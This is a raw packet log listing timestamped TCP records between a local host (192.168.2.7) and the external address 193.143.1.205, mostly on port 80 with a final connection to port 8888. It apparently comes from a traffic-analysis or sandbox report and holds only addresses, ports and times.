Jan 11, 2025 05:28:24.193197012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.193229914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193264008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193284035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.193321943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193355083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193392038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193428040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.193449974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.193469048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193504095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193537951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193562984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.193614006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193646908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193670988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.193702936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193746090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.193773985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193808079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193850994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193864107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.193897963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193932056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193953991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.193988085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194020987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194044113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.194078922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194113016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194139957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.194174051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194206953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194226980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.194258928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194292068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194314957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.194348097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194380999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194401026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.194432974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194467068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194487095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.194519043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194551945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194574118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.194607973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194639921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194663048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.194700003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194729090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.194749117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.204706907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.204768896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.204849005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.204883099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.204917908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.204942942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.204993010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205043077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.205068111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205101013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205147982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205162048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.205210924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205245972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205288887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205302954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.205343962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205358028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.205410004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205445051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205467939 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.205498934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205533028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205555916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.205588102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205621958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205646038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.205678940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205722094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205735922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.205766916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205800056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205821037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.205852985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205887079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205909967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.205941916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.205986977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.206000090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.214277029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.214334011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.214446068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.214476109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.214509964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.214530945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.214586020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.214620113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.214643002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.214677095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.214710951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.214732885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.214765072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.214799881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.214818954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.237895012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.237967014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.237982988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.238017082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238050938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238075972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.238109112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238152981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.238219023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238251925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238285065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238305092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.238353968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238389969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238410950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.238441944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238476992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238497972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.238528967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238564014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238586903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.238617897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238651037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238670111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.238702059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238735914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238754988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.238790035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238833904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238853931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.238903046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.238955021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.244700909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.268708944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268727064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268743992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268760920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268774033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.268796921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268807888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.268822908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268847942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268857956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.268872976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268891096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268909931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.268918037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268933058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268949986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268959045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.268989086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.268996000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269010067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269033909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269043922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269057989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269076109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269097090 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269120932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269134998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269164085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269171000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269186020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269205093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269227028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269242048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269258976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269269943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269284964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269296885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269316912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269334078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269359112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269371033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269387960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269402981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269413948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269432068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269444942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269464016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269480944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269499063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269506931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269535065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269550085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269561052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269577026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269594908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269603968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269620895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269638062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269645929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269664049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269675970 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269686937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269705057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269720078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269741058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269757986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269777060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269783974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269807100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269817114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269829988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269846916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269864082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269875050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269890070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269903898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269917965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269944906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269957066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.269969940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.269998074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270009995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270023108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270037889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270052910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270060062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270072937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270088911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270101070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270117044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270138979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270148039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270164967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270184040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270190954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270205975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270217896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270231009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270246029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270262957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270276070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270292044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270302057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270389080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270402908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270417929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270431995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270445108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270471096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270481110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270503998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270514965 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270534039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270556927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270566940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270581961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270596981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270612001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270622969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270636082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270648003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.270659924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270677090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.270699978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.299446106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.299510002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.299536943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.299586058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.299632072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.299645901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.299673080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.299705029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.299729109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.299762011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.299798012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.299818039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.299849987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.299900055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.327868938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.327925920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.327961922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.327986002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.328018904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328066111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.328094006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328128099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328162909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328182936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.328232050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328268051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328310013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.328341961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328385115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328397036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.328428030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328463078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328484058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.328516006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328550100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328572989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.328604937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328639030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328659058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.328691959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328726053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328754902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.328780890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.328814983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.329111099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.340166092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.358529091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358544111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358582973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.358741999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358757973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358774900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358784914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.358798027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358814001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.358823061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358838081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358855009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358865023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.358881950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358892918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.358905077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358932018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358942032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.358954906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358972073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.358989000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.359000921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.359015942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.359030962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.359047890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.359057903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.359080076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.413779020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.953007936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:25.144203901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:25.693645954 CET	49700	8888	192.168.2.7	193.143.1.205
